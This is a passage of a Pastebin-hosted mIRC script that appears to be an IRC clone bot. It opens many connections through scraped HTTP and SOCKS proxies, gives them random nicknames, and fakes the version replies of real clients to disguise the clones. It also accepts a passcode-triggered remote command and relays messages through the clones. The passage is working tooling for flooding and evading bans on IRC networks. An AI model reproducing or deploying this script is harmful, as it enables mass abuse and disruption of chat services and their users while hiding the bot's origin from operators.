  874. if ($2 == NOTICE) && ($5 == passcode) { sockwrite -nt $SockName PRIVMSG $Remove($Gettok($1,1,33),:) :PROCEED $7 }
  875. if (%nicktext isin $1) { sockwrite -nt $SockName PRIVMSG $3 : $+ $Remove($Gettok($4-,1,33),:) }
  876. if (%nicktexta isin $1) { sockwrite -nt $SockName PRIVMSG $3 ACTION $Remove($Gettok($5-,1,33),:) }
  877. If ($2 == 001) && (:* iswm $1) {
  878. Var %I = 1
  879. While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I }
  880. If ($3) { SockMark $SockName $3 | Did -a Clone 38 $3 }
  881. Did -o Clone 24 1 $Did(Clone,38).Lines
  882. SockWrite -nt $SockName Mode $3 $Did(Clone,18)
  883. }
  884. If ($2 == 433) {
  885. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {
  886. If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Lower($Clone.RandNick($Rand(5,7))) }
  887. If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) }
  888. If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
  889. }
  890. Else {
  891. If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Lower($Clone.RandNick($Rand(5,7))) }
  892. If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 Clone.Conn.User $SockName }
  893. If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) }
  894. }
  895. }
  896. If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) {
  897. Var %I = 1
  898. While ($Did(Clone,38,%I)) {
  899. If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { SockMark $SockName $Remove($3,:) | Did -o Clone 38 %I $Remove($3,:) }
  900. Inc %I
  901. }
  902. }
  903. }
  904.  
  905. On *:SockWrite:Clone.*: {
  906. If ($SockErr) {
  907. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) }
  908. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) }
  909. }
  910. }
  911.  
  912. On *:SockClose:Clone.*: {
  913. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) }
  914. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) }
  915. }
  916.  
  917. Alias Clone.Nick { Return $Sock($1).Mark }
  918.  
  919. Alias Clone.RandNick {
  920. Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1
  921. While (%J <= %I) { Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) | Inc %J }
  922. Return %N
  923. }
  924.  
  925. Alias Clone.Conn.User {
  926. If ($Did(Clone,11).State == 1) {
  927. SockWrite -nt $1 NICK $Clone.RandNick($Rand(3,6))
  928. SockWrite -nt $1 USER $Clone.RandNick($Rand(2,5)) "" "" : I'm an Iranian
  929. }
  930. If ($Did(Clone,12).State == 1) {
  931. Var %N = $Gettok($Read($Did(Clone,14)),1,32)
  932. SockWrite -nt $1 NICK %N
  933. SockWrite -nt $1 USER %N "" "" : $+ %N
  934. }
  935. If ($Did(Clone,13).State == 1) {
  936. SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2)
  937. SockWrite -nt $1 USER $Lower($Did(Clone,15)) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15))
  938. }
  939. }
  940. Alias Clone.Go {
  941. If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 }
  942. :Again
  943. Var %R = $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z)
  944. If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again }
  945. If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) }
  946. If ($Did(Clone,6) == Proxy) { SockOpen $+(Clone.Proxy.,%R) $Did(Clone,34,%Clone.List) }
  947. If ($Did(Clone,6) == Socks4) { SockOpen $+(Clone.Socks4.,%R) $Did(Clone,34,%Clone.List) }
  948. If ($Did(Clone,6) == Socks5) { SockOpen $+(Clone.Socks5.,%R) $Did(Clone,34,%Clone.List) }
  949. If ($Did(Clone,6) == Socks4&5) { SockOpen $+(Clone.Socks4.,%R) $Did(Clone,34,%Clone.List) | SockOpen $+(Clone.Socks5.,%R) $Did(Clone,34,%Clone.List) }
  950. Inc %Clone.List
  951. Did -o Clone 25 1 $Sock(Clone.*,0)
  952. }
  953.  
  954. Dialog -l Clone.IPs {
  955. Title "Connected Proxies"
  956. Size -1 -1 254 382
  957. Option Pixels
  958. Edit "", 1, 8 8 236 320, Read Multi autovs vsbar
  959. Text "Number of Connected Proxies:", 3, 8 335 147 16
  960. Text "0", 4, 160 335 25 16
  961. Button &Refresh List, 2, 8 354 235 20
  962. }
  963.  
  964. On *:Dialog:Clone.IPs:Init:*: { Clone.IPs }
  965.  
  966. On *:Dialog:Clone.IPs:SClick:2: { Clone.IPs }
  967.  
  968. Alias Clone.IPs {
  969. If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs }
  970. Did -r Clone.IPs 1
  971. Var %I = 1
  972. While ($Sock(Clone.*,%I)) {
  973. If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $+ : $+ $Sock(Clone.*,%I).Port)) {
  974. Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $+ : $+ $Sock(Clone.*,%I).Port
  975. }
  976. Inc %I
  977. }
  978. var %P = $Did(Clone.IPs,1).lines - 1
  979. Did -o Clone.IPs 4 1 %P
  980. }
  981. on *:SockOpen:CloneGet.*: {
  982. SockWrite -n $SockName GET %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] HTTP/1.0
  983. SockWrite -n $SockName Accept: *
  984. SockWrite -n $SockName Host: www. $+ %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]
  985. SockWrite -n $SockName Connection: *
  986. SockWrite -n $SockName
  987. Unset %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ]
  988. Unset %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]
  989. }
  990. on *:SockRead:CloneGet.*: {
  991. SockRead %R
  992. If $WildTok(%R,*.*.*.*:*,1,32) && ($Remove($WildTok(%R,*.*.*.*:*,1,32),$Chr(46),$Chr(58)) isnum) {
  993. Did -a Clone 1103 $WildTok(%R,*.*.*.*:*,1,32)
  994. Did -ra Clone 1113 $Calc($Did(Clone,1113) + 1)
  995. }
  996. Unset %R
  997. }
  998. Alias SockQueue {
  999. If ($Sock(CloneGet.*,0) <= 6) { SockOpen $1- }
  1000. Else { Set %Clone.Queue. [ $+ [ $Rand(1,9999999) ] ] $1- }
  1001. }
  1002. On *:SockClose:CloneGet.* {
  1003. If ($Var(%Clone.Queue.*,1)) {
  1004. SockOpen $Var(%Clone.Queue.*,1).Value
  1005. Unset $Var(%Clone.Queue.*,1)
  1006. }
  1007. Did -ra Clone 1111 $Calc($Did(Clone,1111) + 1)
  1008. }
  1009. Alias RandNick {
  1010. If ($1 == 3) { Return $R(A,F) $+ $R(g,m) $+ $R(N,W) }
  1011. If ($1 == 4) { Return $R(a,d) $+ $R(h,l) $+ $R(M,P) $+ $R(Q,Z) }
  1012. If ($1 == 5) { Return $R(B,R) $+ $R(p,w) $+ $R(a,z) $+ $R(c,h) $+ $R(n,t) }
  1013. If ($1 == 6) { Return $R(s,w) $+ $R(f,k) $+ $R(m,w) $+ $R(e,j) $+ $R(A,Z) $+ $R(t,z) }
  1014. If ($1 == 7) { Return $R(v,z) $+ $R(I,O) $+ $R(P,T) $+ $R(w,z) $+ $R(q,w) $+ $R(j,n) $+ $R(o,w) }
  1015. If ($1 == 8) { Return $R(d,s) $+ $R(K,W) $+ $R(S,W) $+ $R(G,R) $+ $R(D,S) $+ $R(W,z) $+ $R(q,z) $+ $R(f,u) }
  1016. If ($1 == 9) { Return $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(A,Z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(A,Z) }
  1017. }
  1018. Alias VReply {
  1019. If ($1 == 1) { Return mIRC32 v5.9 K.Mardam-Bey }
  1020. If ($1 == 2) { Return mIRC32 v5.91 K.Mardam-Bey }
  1021. If ($1 == 3) { Return mIRC32 v5.71 K.Mardam-Bey }
  1022. If ($1 == 4) { Return mIRC 6.01 Khaled Mardam-Bay }
  1023. If ($1 == 5) { Return mIRC 6.02 Khaled Mardam-Bay }
  1024. If ($1 == 6) { Return mIRC 6.03 Khaled Mardam-Bay }
  1025. If ($1 == 7) { Return mIRC v6.12 Khaled Mardam-Bey }
  1026. If ($1 == 8) { Return mIRC v6.14 Khaled Mardam-Bey }
  1027. If ($1 == 9) { Return mIRC v6.15 Khaled Mardam-Bey }
  1028. If ($1 == 10) { Return mIRC v6.16 Khaled Mardam-Bey }
  1029. If ($1 == 11) { Return xchat 1.8.1 Linux 2.4.7-10 [i686/451MHz] }
  1030. If ($1 == 12) { Return xchat 2.0.7 Linux 2.6.5-1.358 [i686/3.01GHz] }
  1031. If ($1 == 13) { Return xchat 1.8.9 Linux 2.4.9-e.35smp [i686/1667MHz/SMP] }
  1032. If ($1 == 14) { Return xchat 2.0.7 Linux 2.6.5-7.104-default [i686/1.41GHz] }
  1033. If ($1 == 15) { Return PnP 4.22 – http://www.pairc.com/ }
  1034. If ($1 == 16) { Return mIRC32 v5.9 K.Mardam-Bey }
  1035. If ($1 == 17) { Return JedIrc v3.2.7 on (Nokia5530c-2/31.0.005/sw_platform=S60;sw_platform_version=5.0;java_build_version=1.4.43) }
  1036. If ($1 == 18) { Return BitchX-1.1-final+ by panasync - Linux 2.6.18-164.15.1.el5xen : Keep it to yourself! }
  1037. If ($1 == 19) { Return sing Away System v0.20 (by Master) :: Powered by Disfunctional-studios :: http://www.mahdkoosh.com :: }
  1038. If ($1 == 20) { Return mIRC v6.32 Khaled Mardam-Bey }
  1039. If ($1 == 21) { Return mIRC Anonymous Script 3H }
  1040. If ($1 == 22) { Return xchat 2.8.9 Windows 5.1 [i686/1,46GHz] }
  1041. If ($1 == 23) { Return lightIRC.com 1.1 Build 30, Mrz 19 2011 11:48 on Windows 7 }
  1042. If ($1 == 24) { Return http://www.mibbit.com ajax IRC Client:3716:3716 }
  1043. If ($1 == 25) { Return 13CPS By Amit - 4C7omplete 4P7rotection 4S7ystem 4B7y 4a7mit 4N7ick 4u7ber 4@ D7ALnet 4E7mail:- 4amit079815@4yahoo7.com9  v7.0 }
  1044. If ($1 == 26) { Return xchat 1.8.1 Linux 2.4.7-10 [i686/451MHz] }
  1045. If ($1 == 27) { Return xchat 2.0.7 Linux 2.6.5-1.358 [i686/3.01GHz] }
  1046. If ($1 == 28) { Return xchat 1.8.9 Linux 2.4.9-e.35smp [i686/1667MHz/SMP] }
  1047. If ($1 == 29) { Return xchat 2.0.7 Linux 2.6.5-7.104-default [i686/1.41GHz] }
  1048. If ($1 == 30) { Return PnP 4.22 - http://pelet.at.ua/ }
  1049. If ($1 == 31) { Return JedIrc v3.2.7 on (NokiaN82/20.0.062) }
  1050. If ($1 == 32) { Return LudrioScript v.1.6 By DJ-Maggi @ QuakeNet - Website: http://www.ludrio.com }
  1051. If ($1 == 33) { Return mIRC v7.19 Khaled Mardam-Bey }
  1052. If ($1 == 34) { Return JedIrc v3.2.7 on (NokiaC5-03/11.0.024/sw_platform=S60;sw_platform_version=5.0;java_build_version=1.4.43) }
  1053. If ($1 == 35) { Return mIRC v6.12 Khaled Mardam-Bey }
  1054. If ($1 == 36) { Return JedIrc v3.2.7 on (SonyEricssonK770i/R8BC004) }
  1055. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!